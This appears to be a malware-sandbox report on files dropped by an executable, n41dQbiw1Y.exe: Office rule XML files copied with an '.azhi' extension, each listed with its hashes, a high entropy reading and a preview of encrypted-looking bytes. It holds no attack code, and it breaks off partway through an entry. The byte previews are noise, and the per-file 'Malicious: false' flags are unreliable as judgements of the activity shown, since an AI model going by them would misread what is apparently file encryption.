Malicious:	false
Preview:	<?xml........&.....Dm....`D.I........t....4i4.T.kt.....=...\|.......z.w..5X.D#l."4.M+j...SZ.+.t.. .mV.e?\........ie..x....\...g...ixpE.....v.r.q!........l..-.!... ......1.9r#...\|...4..Ui)..E.D...,...kZ...OX....p...C..+..-.f#.%.}.Uh.?...?8.....K..w...._.t.f...9`..{G..N..{..6Y.8=..>..v. S........t.7...}.:.$-.,Qu........Up.hq.#...O......P.tD.X.....H..}...\..>K.u.....z.....(W.(6....0......T.3..g........+.9.n.894.\|.........;o..!...3.5&e....b.........+...N.J.......F4..>b...(.2.MW.@U......`.D.+.E#..[..@...j~.)../..8.#D.<.`.".kE.EZ.n..8...].x.....B.~...(W..;.......2._...............&....4,..0....Q.4Zb2*...X....`nX......O1...i0..H..0.T.h../....r#.o...T....7.."..=.g.K...6#t.....S.....xT....J.b.....I.....P4.....].F...ZZ:y...m.f.s.Z.....u\|..Q....#Z.0/..z....v..........M..Dc..\|....t.$k..<U.7.%x...z. (...\...HQ..SH.mcb........U..C....D.rX0qA...4....GE}[...X..\x.D[.P7..-`..v.......REN.....hr..N.,...f..H...6....!.....nFM......u.O.+..Q..wG...U].2m....O...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.910493685519093
Encrypted:	false
SSDEEP:	48:xxyYLZgvHQ8VAh9IWi9IRFygLMp9jmiTeStWF1RxrhroQXRO7HcD:zR1gvw8VK9G4WjaiTCrZuY
MD5:	3E6BD0A21B8D1D25EF89C06E45221ADF
SHA1:	3A90F1B2D65A1E4AAAB26BF15A3470DC5052FA6A
SHA-256:	4AE7A66FDBBD7863060810F630F03AF27D955032476D2C931C60EC94664C9A8B
SHA-512:	790DCA510C7FE5BCD8641FCB68C5FF11CA1BB079EF0BF3CAF686312A43B8F8F8454E75B382302F5D3064C21E3128FFD08B06B1379EC64E5D669F5094F207E7EE
Malicious:	false
Preview:	<?xmlf(z...0b.7z.......!F9M[......,.9eI.....'..bu.;..`.......5.......N.......7f...........Q5.q?t..g....x..I....p.j.R._D..a.x~{......^...V...r.\|.....8.C..U...6....>....).1.....$v.._.i..sEs2..v.nu..2Rjk".F.XS5.3.QI...S$.......7..!.Yf...7...5......z..x~.Z....JV....dM<M.\.6.u....!.2..<..I..04...&.Y..b/..j.mSm#.;.c..N.].M..#.s.J...5..vz0..."..p..t8vvr...4..........P...a.\....v.:..b...:.......~...J....0\|B.<.m$....;.y...5Ntx.o.....M..l....H..q....d.'..U..uT\|}0.g......U+..*....(.I.4....n.Mx<T(....$ ..a.........p..Z.h.n..kc..n.5.$P.Ox]..}rzaZ4.j...7.C@.)d.wv:..v..h.o..gO.m...oq...{o.]v...m..k.E../?..'..5\|.....\9#.....s.RH.....7..z.G.#...$S...r._...Y.FtW.C......7R..~K...4..5J..y..8.g./..^..u=`....`..T..W-..3rJ..@e.V..d.iL.@..y.:..L...2..3...$ .6.p.'....^K..k..J.....%.?G..^E/..s..\|D.p+D.z.1o.....3.=..H.Vr,..Y.H_..WL.....2_...$...T..&...=.mU..v.....q..#".g-.q.!q'...1F....,.%j..4....f_.9^....e.U.J....{#-#......w....mS...._^E......D...B...U%!....sxR;].T

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.857321501038861
Encrypted:	false
SSDEEP:	24:QaH1GX7zwfZPfIqmUNnPzPW09PW4BgZC9qjDHRTud+hC4eU9TZYXr3KhVLfDZwFd:Q4GX7UhYUQ0QhU9qjDxKd+besTZY+V6b
MD5:	49082FE98F9E9280FA642A5AA97E20AA
SHA1:	6E577FDCF9E6D2746D0E072A21D16C01015E55BE
SHA-256:	28AC5B3CC51ACF1C8AC7B5D8B861A7D7A03C3CE68D31C2FF8E01B4444076D459
SHA-512:	BD0E35D2B9B70D5947E2BDE275E2E577824BCD48CEE104311A3C8F5BA0BB5767CC968CFE1DC467AAB616C2CF489CC25F44076F3571F96BCEDF925D6D3F41BC1A
Malicious:	false
Preview:	<?xml..K#.a7.)...7.M.....zvG.........j..pf........zm..Iz..'\AKG.CS;.{...Q.....}....w>..h.P;..Z.QD.Bo.P.S.A2.N~:e.S~...5...ZFu..Y.v...$(.)r1J.u..........UIU^.z..7..0J.f..E...$L.0s~....c=0~.....M..."6m....H........S.K.$~..7.%...m.^....U.....b..z,.C1Q.K..\|..hL..)....>..M._..j.`Y.!I...Ph.c..l.....p.>..p.}A..8......W4....m.K..P....j....d(...^..}T..$...JI..b.}#..._..^..!..\|..+..3..{.a.+"cpTa]!g%...M..f...=+....9u.z.{..;&%IX..K.C...(.'1.=hl.\.>n...L.9.......\|......M.Z.M..cm.Q.K..(I.Ux..-....]A..q.C.M...]....&......^...4..[..Y$.,.0...E..".6s.7l...U.C..V.y-b.G.4>....Z"b#.MW...pU.....y]."..'..1.'h.....-?>.......m..y.)Zs..-Q.L.....C...y.....;!wB....<..$....e....(..y.)....M.D.....}.5y?.KO.K.....P.u.(.#..R....{.0v'....K.F.35......Sm.\|=...k...f._....[.X...F.$..4..l7R......{.\Bw.Z.+.3.u).T..Zq...x\...K..g.....v2.`....#5=....{..:~...5.Eu.4n.>Kk...e?H...5.<..........u..l9...g..d..'.M1....:...-.....G......H...._J.t..t.e\..(%..........r#F.~V.rW,5...I.$...`O.A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.849148585274545
Encrypted:	false
SSDEEP:	24:1tcNvea9QpoJFEmGH+Kif/SURwqjrwusgtJ7SLS/PRKSE+wPbCFmSW/Px4cAbD:1yFFdJFEmk+KK/SQwwrwupG+/PcSv3WU
MD5:	E76555DA2C65CE05B7DF4B39B4561140
SHA1:	42A129895AAA6ADF800844756284A2E1D3A0CECC
SHA-256:	64B77E247ED6D210BC8818154A96CEC20BA3ABD7328FDFDAC9252C0506A1F4B2
SHA-512:	538D85F23F2481ACF78DD81251F2D619A0936758FA5F02040457A4324ADB1FD873015F32BF95E7F86745086903B37760F860D94FFAE9F7C94C9A9C0D1F7047F4
Malicious:	false
Preview:	<?xml.9.-.v....r...a.Ko.....v.m.A[w..-.~.......o.l!...H2j&.........../>.taf.^!..Ia.......\m...f..l.o. 6...:...Vb.KQ......~.....".Sl{....#vo..b.....vl........jB.'...1.....swE:t.....@.Y.J`.....=.4J..X..Y.."z.w.....i.......9....=..Z.r..t...5.epl.r-.Ai.',..l....NlM4..d!Eh.;...=2..(}.....$.4SY.s.<qB.v.Sv;....{gU.#.......(..3........gvO...UU.-4.E.(..&....<.?I\|.j&..6../.:x....pT.$..]!#..L..o...2.,.4.........6...r..pKx.......H..."B...r .+}d.V.~....e.A....N...4..... ...9.+.2@5.z...J.._.N%.mG.7.K.x.>v.`...l.w:.......g.5^wD..-....Ilo....Ml_,.?..K.X..D..G.Z..+V..Q..+.cvV....$..f..b j.k%h....!..#su........+......_.&.1'.....+.9......'.B.:.....r.:..1.6x....N..g2..Wn"....]f.B."J.."l.q..=.LP.?........,.Z....L\|...t...8a...AV....'.~r...q.r7..=..*.......S..\|...t..............O.K2..c..c.n....P.......F.......'..4z.@..J~>..e..?/..6z4..2..M2.. .....Q^...I.......Y..T.GBS....\|......R6yP.sR.G...K..DW]?.........../.{oF.=..k.m...rp..M......S..Kr...>.B..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.784985593990129
Encrypted:	false
SSDEEP:	24:oldM2fzZCqB2nN2+BU+OKOiMQvO5vKVlW1ZIsOAdphvbD:o9zQnY8t3lIAxAdplD
MD5:	1982A858FB2D29B272E94B4AB7C43240
SHA1:	D8879624D00E8201D17BB98EFD0C8FECA8ECD285
SHA-256:	F662B34733DE5A37C5AC360DC43CC2F42EB432DBDC5BF18EE18CB5BD9F04C6C6
SHA-512:	5E730A0FEDFBF0C2432C9DF41810CE0976F2E189D7A51D6D81AF6F0A6773EEB0FA502AAEC1CE53360D5F9278703B32DFB55C5CD34A584C48D6BE98178817AED2
Malicious:	false
Preview:	<?xml.Iz....[.8...h.@.".e....Z...X..)K. ..G..;.<...t..@...I......k4.......Q...T-.d....v.1.{...J..!.p.t.7...S.3.....A..f.&.+..a.3)......A.......D..."...t....Y....'F-.....O...P.....;=X..$A....Fs..\|..7.l/.B......R......q..m.farG93.L.._...'../........9.......Q...B..M..a....t.....b....uqd.....c..2..:.....4.s..g-'..hrU..!..z..O.P.(!..[....j.. ..J.....a.......9>..~H.....!h...}..vwN@....q.s..]..s...W#.e..$Itw.f...:..8...+.K..B.J..:..A.H.Z..E..s.y=.H....#.v(;.B.3.$..\.Uw.y..!s.PK.l......R.....[..7#=.(. 3lh...v.Ex..'.u.5..5H-.d.-.....o[o..T....S.......V3.di...].[A.[..0.NI..Do.X..m.<......Px0..$...O ...W\|N..b._.....n...].>.:..$.CZF.?.....!......h..S-.>.7..H..v:..=oP...Kd.M.bo."...e0..uh.L...C.K'.. 9..Y...}..b.C.9..._..f.)L.../".t...._..c..uSs..9r..a...I....Z....x.j.........k.......Kd.CNn.Pm....Q.....~. ..vy.\.V..H3Em.Wx...p.z.G..{rOj.y...6...t........IC...'....l.c4oji..[Z.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.960529423661966
Encrypted:	false
SSDEEP:	96:BPZywLfGF62YpeeN+Fo7XnQ4KcExrzBZeAvUtzjNxPzwTO4tUU:B1Ls62Ypeewo7XFirlZNvAjvPz/EUU
MD5:	6D03FAE3FE15D10CDC8623CFC83ACAFD
SHA1:	F1C3488D1651ED7D52DA1475D8FCFFB5FB2EF684
SHA-256:	63B0EA180E79FACC37EBCB7D8E83A0CFD952E61FC0346350847493F4530F1351
SHA-512:	7B3B44548CDFDD17B7D71C1A9A21D6A0B1C3B035656C2EF9121B2274B804F64A1BFF7307C64B7E460A3959291AA3F8B6632F7A28757D46C8C2282E6E40601B99
Malicious:	false
Preview:	<?xml.K=.M....X..>O.u>nC]......k..g.b.).u..X'J.i. &(...U....qcRG..7..ocD.B='.U..zC....g....K..=..j..5..9.9...M......rs,..6.o.Ai....f..........#..P..\..........<;x.#"..b.:X.b.+..bd...Gu=iF].5...8W ...X=p{...-T....L..:.m.N.......1..^6......iW.L.s..H ...s.e.sN'.....v.....\.R.n.b....C.....yH..3..i-^.^Fh.Wfz...s#Z..v7.......4.....{..SE5.P..8*..Gb.yv...9K.NN...p....~3N...e9..3......?.....Lw:vt+.(.....;Q..Chm......."...7...5....8.EN......}..AXF.FK.....4.}.I....9a..w...T...).zw3.f.$2....LxL....hW..D ....V....qQ.(......Qp0h.n+1.u...Z..)..)..Ka.SZ..O.....r...=..y.\|P.#......:....9]s.g.j...J#[.7.&G....\.,.H..\|..0B/d....p......iv..>d.dfB.....D...AnP.r..m....Yt........I;<,;...e.3....'c.W.q...id5..L8....F g.....=j..?...&.q.f...../..GJ%9.x.~..PH..t.H~9..r.`.R..{F...rM5....n.._....y.8\:.85.~D}..4kf\|...\|........X[)b.).g........Y.. ......'fz....5.p....9L..~u...s}.1.......>a......^R<....V..=7...#.....U2vB..1.v..t..RF....C...b.?A.7...<g..t.'C.d8T....7..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.938792569780762
Encrypted:	false
SSDEEP:	48:CHH7tfekZ63XtWHqAlylUtOG8lZ9dRWfUxe3GFebYhmD4ABP5sfjO8tmI5mylCD:0bVONWKjl0G57ZNlA8fK8UIvK
MD5:	E04DF2607730984E50864C1C8244DA5D
SHA1:	AAA101EC3689BD64430EEA6777EEC82F8966ADA3
SHA-256:	4D703DE6DEBB4F537D25200FF850EBC9FCBE1636DCB771AF88D63A2F64A22723
SHA-512:	53B14F9A6C088A6A41B04A0D8E70CB27EC461196B01AD3D08912103D2FD9FF146A253A1653ABA96B06AEF2575A368577BD5DB000093F706E0544BCFBEFFF9F53
Malicious:	false
Preview:	<?xml..x..I......J2s.....0$......9).M.\|1.. ...2c..&#>J.3+."..\|....q..[..7....;.......G..y...i.w....(g..{...#...Y........R6i`..I..H..%....N...[...u...n.D9.C..L.......D....@.X^Vn.;LN..':{).h.<E.2...0_..D..;.....i..sj2..C.<`.3z.......L?i..V..=.y........."<.....v..6./.....)B.`..!....n.}u.l.".F5#..w....P8e...h.A1}p_:Ljc..,q+..._).U...".D...Cb.......?.N...$k...P...F...2..\'.&....'m\(9..Vp.a.^..2......Zz.s.Z...R.....6E.I...n ..\6.<.x./.g.GX]...sQ..5...v.....c..J...:../..E.3.0..<..U.K.5.I..1U.m...J.9.R...^..Q...\5..._..?OT.s.@Q......a.... $..H%V~S.iW.b.l\|P......8.._........Z9...Dh.Os.r.^C.V..B;1..].+2..-\5.[.. .+s\P..........Vpz>.n..R.%.k-.......4!...N0....y.6.<.%......x%Z}...\.#=.@.....o/..D..O...1.J.e...&......]A.x...d...F..g...aK.p.(...v...(.&.%.}."..@:...1{}S.%a.\...^'.7(.L.....W{....za...OQp/....=X...F..%.!5............F.SR..B..M.....n:.4..B3"?.VMc..\|[........k...Z..?...+... ..'9\b..l..,.4..&ua.5.Z?k....../r._...8.qW...Mi.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.936688306312226
Encrypted:	false
SSDEEP:	96:rCvqOF3jWfuZAVv9DehXPs3lPzNPEbEG/XHdNcdm7xVw:+CDMAeuPzNPEbEOHdNcm0
MD5:	56C188E34ADF5D5BDAB766339DFEB5F8
SHA1:	12D47E25DD124EDA38C334255B84C2D6EC861C15
SHA-256:	620A0A5D32157B4A255B626497A592EEFBA9AEF85741892FB00705E92B7CF58E
SHA-512:	DE95219499629BE17C8F1016E5A21A6A77FE764F877ED1EBA2E379F5B735E5365A30CAD467196EC8C398921DBB949E976BB7996E709791BEA9353B5BB6C07C64
Malicious:	false
Preview:	<?xml?..#..~Ad.#..Q_..;.1fE.l.a.........j..Dv.....W/.y..:.[.c.e?.k....@.T.g.,\|._....8.....{.N5..)Zq..2v..(<....B?d..j.s..`.....~o..&;.>....!....+L.y.?.....W....-5.m..:........m."MV.\..)8.I..i.........^.....gL.W!.!.U...Hv.........KFH.+.U...VBQ.....].,.)..bP...J.7.....wv..0x...n..4......:Xbv7..W....w....D.-t.t{...e..w3Rs\|.2....=.V#A2'.w........a..xIjp..3ln@....4.....5U+..Y.?.......(.C.LS..-...0......\.....}ZrG...j.D..]...u....\|..f.;..b...: v..\|e.a.e..Zb......g..Q.\.C._.....v.>......$t..H.?n.&..8..3Pv.1VI.....M...bvz..!.p.P..E...'o....G.( ...C...J#..u.5&h@....^'..J.Vfa.\|..%.+.........'!nWB..GO...u..`....K.Z.J...?OX...+.....<..NOf`.g........+..0...N?e.*..%....BW.r.'..&.U.+i..u.W..w..WE..\.I{s.\|)...h(.T..h..(J...4".........2>!......A...7...F(.RM....O......+...2..,...A..I..r.SP..0.]....T..^........c..a......?`...@G.y....r........^G.v.I.~.MgCp..0(....f..D...:1.@.BGj....]+.p.9........./{.w)M;...n)B...{....=..{.N......Q....j.W1..........KV..0....%3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.863574450464636
Encrypted:	false
SSDEEP:	24:oMWK3/NRoUEbCQzisYZQbTKM0zW06bOUctJ3iyGJ7hUu/bD:oMV31pEbCQPYgTKPWZbODtQrJ7KMD
MD5:	EAD4BF17D6382C820E8907F946824D2E
SHA1:	F625D4D7167F89770C2C4AD5803DD014DB9F22A4
SHA-256:	90838AAEC0CFE7C1B971E6E28900EC90F3EFB19A9B18C173D4A8421F8795697E
SHA-512:	EBE0609DBD3D20E6DE19C2292A032DE275164C860E5D4E334DDC7A0D62B3E6E80697978F5682F42D9508221BE20B58E5D4994403F1A4AD321A49A7C0CB2A62F6
Malicious:	false
Preview:	<?xml.%Q."~.....Z..).......j ..s..G(Ow..A..w.a....la.P9+E..R.t..+A.!`..Z.O."u?].........`..5t.r}tU=.].....P..?.DT?._-bwE.F.?..)..LYz.8.ez....B...x.H..\....8z.H...;k.>+..}.......$Mk/_.)....,fK.]+.-.@m#.fg..=...S`.8.&z.....$0.]D....v...$...Q{..\|..0I.....5.7qxv.R_.>.....N...E....\.u.s....../n.L.g5.....b.!..){f.......(p..8...O.........N.Kq.....Z\s4.:....-....#.W)=<.l....p.)D..O..qaL.#>.;..y.........h4..pH].o...?q.....v..pO[Y.C[.r....\|_ok,.~2....c....G&....7....)v.w.t..{\..(.c{.x...&...3..1P..z3...h._...0.....Z....c..?[....L8wrV.....T..P...2T.P.!^..S.......@(....{\|./...f+..h..m......[$..k.....s:8...o.6NNk....Y..8v.A.C9@..?.dH.........H.r.<.Y.Rc..9;....qr........xA.7M.v..5a..f../j....V.-..:.....YcC5...U =m..zH.I....8....MUM]g. ..h..Fu..j..$.3Q.u#...{...zp>..F./$....b...6.6..Y.n\|.p..2.....%D..r...A..V.?..f@H....qu..........g.(G&.......A.E.7..%........V..{..v....E"'..D...u.U....T.(.zO.{a..W.....t.#....=......PR..g..}M^.K.q~>...%.]..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.928978152182438
Encrypted:	false
SSDEEP:	48:5tOdHfHpF6JY91HdsJqjZg9vkgDtxJRTsPNuiEpCmO8TKwUFRD:5tOdHfHr6u91HdRZyvxcgZCmO8TAr
MD5:	1886404F635691CF6D6FBB52B8F80BF7
SHA1:	73F8DA6CD98371D20215CBE7B93E8AFB68182B45
SHA-256:	6171DC337BA7E9DDB360C100F4F829A13412E8B24A957028AEC5D22F48501102
SHA-512:	EEE92631FC5B1ADA22F9F17F45669B4D408E9D7CDEEA1C60A2EB71F13D611EF1B76316C9960B9234868CC7D4783E32097A3D1C0CC2A5F9C3F0FD35C631FF3918
Malicious:	false
Preview:	<?xmlV.....c..V.`I...D...j.#.........1.ji.>.g..b..%..\|=.Gn..}...5......Zf..r..d.....?..\..~..Z...)..q$;..X.x...C...B.k......{...h........X'n...M.K.p..[.....vPZ...m..J#...&x!...l..&k......w......!.....4....sw..!.....3$.h../..o..._......-=..G.b_d..d..P}.Vm..k..&.........7.....t...xO.D.$Q....'\...Z../.S...,...6.~.?Y.E).!okF.+...y..`..j....5>..S..R.}.@d........P..B\|Z$..N...+...p.0.w.q\|...............]x.<.M....e&.........9.Q. .,.GNF..T..aM..l....$..b.."..s,......T.}.[6Q.....).....!H.p.#+..tc...xE...D../_.A..X&.....9.\|.?..1../.A..f...b....;pC....a.O..#\....-.L.\|..p..F.L.t.F C..v...E.ggA=....~C......fQa..y.5...(d.F_5.....9O9..[pf...2..:}.1......~..... CK....To.......X.9.....n...^....G+.<\|7..:^....\|...L....KN....,..}Y..!..J..bJ.'...R`yM._S.;0.....} .#.6.....[.@%.:.vM_2.M.V.>.p.z...o.>.h..K..C...0.;.9...D1P.5.).......>.u............;..._.\|.w..#]E..U........L.B.Y_.2.x..Cu5.5......o.yC...xo..-.M.r..]..3n..c...v...0..n/9.0....]....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.905217452864129
Encrypted:	false
SSDEEP:	48:qKMiVgeOCkj68WltkFWKJZ/GRSdu0LxH/er8qizD:q3wbkj69aplGp0lG9if
MD5:	EC47FA03EB5585056E0E7B526E1371E9
SHA1:	52C48DBAFF5C408B621F9A1271CE5C8E27ECB6C6
SHA-256:	EE085986E76FFBBC627046B06C0A07FFF10CB9D90A70C2B35732F9A54B9BABBC
SHA-512:	AADCA2C28CD19579228BBDEB8E9AFB845EE810B8E555348458604B42A8AE3BDBD0048EFA0125FA1821D82C960109921B2EE3ABF0E2B9271DCFA2DC488B852302
Malicious:	false
Preview:	<?xml.j.....cw<?......$..kV........<l.....l.G5.......3.....p(.7...Ey.1..=\....5T.......~......z....m.(.g.;a...,....)@...S..".J...v..O.}90..w..g........./..ul...)H.p......w.z.W+.hU.[/2..6..%?.xeU..=.F/...f.V.+.._....\.-X..pf..O....G ...B.....('&.+.\..r>...6.}..Fw..}F..d...5.....H.........rc...".E.;..u../.15.O.......,...._>.. .j.Y.l@G.....a{..T.SGB...Z...DD..V..7.Brg...\|...Q.BE.L.s..l...>.u.5XD..G]]...}9.....;}...b].e.b....2hX.!.I...B........Q......{(.A.....F%....".A..<jE.vmU....w...R. ......]#......9!F..p..=h.........n..k......J..bG.eP.)]}}..qr. y....qsm....3........z.......Iuzz..e.....S.tg..<....k.]..m.].ur.Y..p.On...@..h.@..:8..j..\|.k.+.....qV.d."..p....4.....6.<u...F..2.z...'..Q...4.......[..c'..h._K.w...{$M.......c.'....L../A./_......J.d...........5S.M.wkJ..-........ a.9..a.......Z^...C%.J.z..Q..y..6.%.9c....Y.A..s.}.......).EM#.tX\|....b....Z..I.\|.........W]....~.%tU..eRe...VZ...6....d,..k.&... .2..(..p..C...*Kl.F..0.....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.870634090525247
Encrypted:	false
SSDEEP:	48:GN7bNJtAkeF4a9a7CWh2BGnwES9EwTw7sgD:qhEka4BCWh2yZS9EwTN8
MD5:	48A4A3EA267BC0692270B2CDFA4E1B3A
SHA1:	B9764F4C6A8BE33529378292B70DADFEACE14093
SHA-256:	4679BF7C38F9A0BEA3054A23FADB5FDE75268314320DA4E628E7F4C0B1706611
SHA-512:	755533B545ACFAD15994DA793FE1C6D447B4963BEC661199CBE5D76C4FD775A4BEB2077125217353C70290C89086D66EAE7F88E08CF7557CA1BAC2723CD8380B
Malicious:	false
Preview:	<?xmlLFqA.I2$......{Ep.\.h. .\.%.E..,2...I....t..Gz.}..`..95..\.\e...........A...{.Yc...J!j9rx....!jl"..McG..5.RH.b...P;D.E..L.rR.q8H.....B4.....v.#Y.A=.%..s~LQ...6.xd....+...A...`....!<...e0..)h..G..02...Y.......y..<.....w....W.B...Q@.........og.....X.4...+;....4.U>....h.....6]\|1.hUH..........;...t.Jj....p...q.zCY.>.3@..wh.z.D..<.S......C..D.P.Z....g~K%...fK........~.:;.i..1.`.~......b....L...U.....v..yBE.SCT...1,q.E....,U.....,...#/.1.V...L_.0.E...z...5!E........+........X.......^...._...d.).......W.o.....qd..&..3).I4{.....M.\S_AX...0G.3...i.Y...9@1=..2o.....d.t.w..=.q..+4.M.o...>....z.9QQ.G.%.PM..I}...?..9o, .K.....g....S...L.o.C...J..w.k.]...`{j..1.0..n.Hxw....d....v.>u..g.." ...n<+..1...... .}I..t....q.d.....VY.8..u&.H#....g..\..h..o..G~\.y....,..~.u,~...%..$...;.(2...m..S`k.4...5ap....,...E_.N.>..........;,..b...z..]..O..\|1n.....;..dE8.US......!..u...BX<m..N..@w.....6.;.......Q..S.F....J.w>..L.._.X..!....\|P~..{..1vxk...\..q.v..i.E.-C1

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.9368315806421075
Encrypted:	false
SSDEEP:	48:Cpjdm1R/ACFh+XA689TNR+RKIju9b108DbpuJOG6Hj4n/z8QsDxnrdEUsnCkkD:ujdIACFn681NAUIiXbixn/YrVnJoCH
MD5:	F595291AC580F1D8F24270F3B78201BC
SHA1:	3835A234EA8B34EF68E6AC3BA42F39A7B6414BAB
SHA-256:	0F19F6A361202B61B0817732C65333C40BB4ACA4209E50BB6BE4F2971AB78D6A
SHA-512:	CAFD18474D080E55DA4D0E23F5A2925BAC7DEB3E22F7BF88476F95ED97FA7330B3F8375B1BA626D9198CFDE86FBF86ADC5BBCCF48FCBF66F30CD829274C1966D
Malicious:	false
Preview:	<?xml.....b.\|..K..QF.@J..f...j...7.us.H.q..5[Y....DvO..d"G..`..~...>x..A..<.gi..)5WP....S..,.!...3N...bU,..a..-q....8>.m...==;...!.c....ju. 5.........[..d....r.U.X....o.....2.....k.A.^z..2R.i...j.gS.....\|.......i.....z{t[.Wm(.`.j..............i..&.....i.&.t.&..1.v.8...l..M..}.RN...UN.2.'m?...'..<h[...X.9.B.L...e.....dN....O...@..$..*&.jy...iM.........%..~.L.G,...sp..../...+!EC8;.n.D..1{..P...S_x....').a ......T.S..-jv...@..wR.0...#....A7I\|G5w.C.M.......MuO...Y..k.Y..<..H.....}....hig{.&d>$......K.=x...r@...J.h!...kf2.z G.J6...f.....<r.}R.v+.:..`.Y..f.&Y.........q...+/...O...>-..&X...%.w.Tq.......ui....<....?.!....-..O.t......n..J.....rY.......A.>.E..\|.s$;.PPaf.........-+.X..+.[7.......,U`.M4kx.y9...7][a.....Jb.15.^........=.}.@...&^...u.n{.)Y..u......`+G......[.Z...o.....FT...h.4..6p...4...1..A.S..J{...w.\.s!H&zhi..hg...8.......;.trO.;..=..V.dE..H[..R#a.a.....~.....p.}V.{s...(.....tU...k.....MY.G.KRl9.`Pl4>qma._ .q..E...3...T.ZD..2

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.950313141516526
Encrypted:	false
SSDEEP:	96:UO9r/s5n5y0EayQgigNIPnbhmOXl1bC4sY:Jl/0gpLQvIwwyvCq
MD5:	0DE80A1E3FA65251C0C8A8C34E9D537A
SHA1:	49817A4C86175871B4FB8D4388C6F287E9E35844
SHA-256:	2C1E1E8DD6FA05005893DB52E2801E87D5D67D0E170CF499FA17D27A25458A72
SHA-512:	55DC3F5A966091115C48185F86AB6ED62B3ABF8AF7699A8B8C233CE2D2858E930A0748ABB9E14CEE566CFCEF01EC861347D3C8541DB89C61D74467876B29D954
Malicious:	false
Preview:	<?xml#J.&'...G..>.C8..k...(.3.0\|`....k.Q4E/5"....6..02"...]...2_.,.....P.p.....b.......%.....C.,.Z.DER.)...z...n......B...xWh.<T.I..)..$......Z..6...\..S..)....QPsa...{....}.......-...{y.JK.~.w..r...f.b..@`.F^x...)..........{S?Wx.}.^.N....[aL.....s!....p.74.\|]...0.K...............g.......8[Y.~.lO....-S...D~.o{...\|..5z.`....Z.;..'I..1.e--Bx.BbDEH.lg`k...!....l.3....;....w.....X...._.m..._....).N.".i...X.'..X..{. &.W.....>.0Lco.0YF...5i&!m..Ag$.M]d\|.....T?AE...K..E....B....bV../87..qC.o[.".9.-.........\...7.uP.I.z...rHg..Y...#...Y..bS...].h.D.RHg..2.).e.y....+9D.cbT.2...}.._..F..7&.....+..#..w.......'.y.7.i...b".(...d...U9..:o..ZqA.Bg..-^....w.....p"Y.\|.-=..3.y..j.;...FUA.f.....Ly.KS.....V..uqCU..T1.>..<.OJ..z..=..8W(........?..K.F.E.L..(.0f..F........<\{.b.=.O........$......_.'va}>..7+..".y.>...;l;n<WV~...\|c."m.^..[...!.o.N...{...KF....=.....H.C..L...^[Y?.y.m$y.....b..rI......-.0.m...U..U[.>.y.....:..w..I(.U._Y2\|...... ....P.I.l.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975597438952276
Encrypted:	false
SSDEEP:	192:DMquLqyQnZuZf7W/fHWN7tl6qtF9nn8rSv:duB4G7Ftl6cF98rSv
MD5:	6B553821A5DDE4CF04F622822A72E91A
SHA1:	A81C7617B9596DAA18AA7FBEAE56E277F636070F
SHA-256:	09F7F38A6E9614065D9346E856DA449DF19333C36F93AAC3FB5210E03A39C006
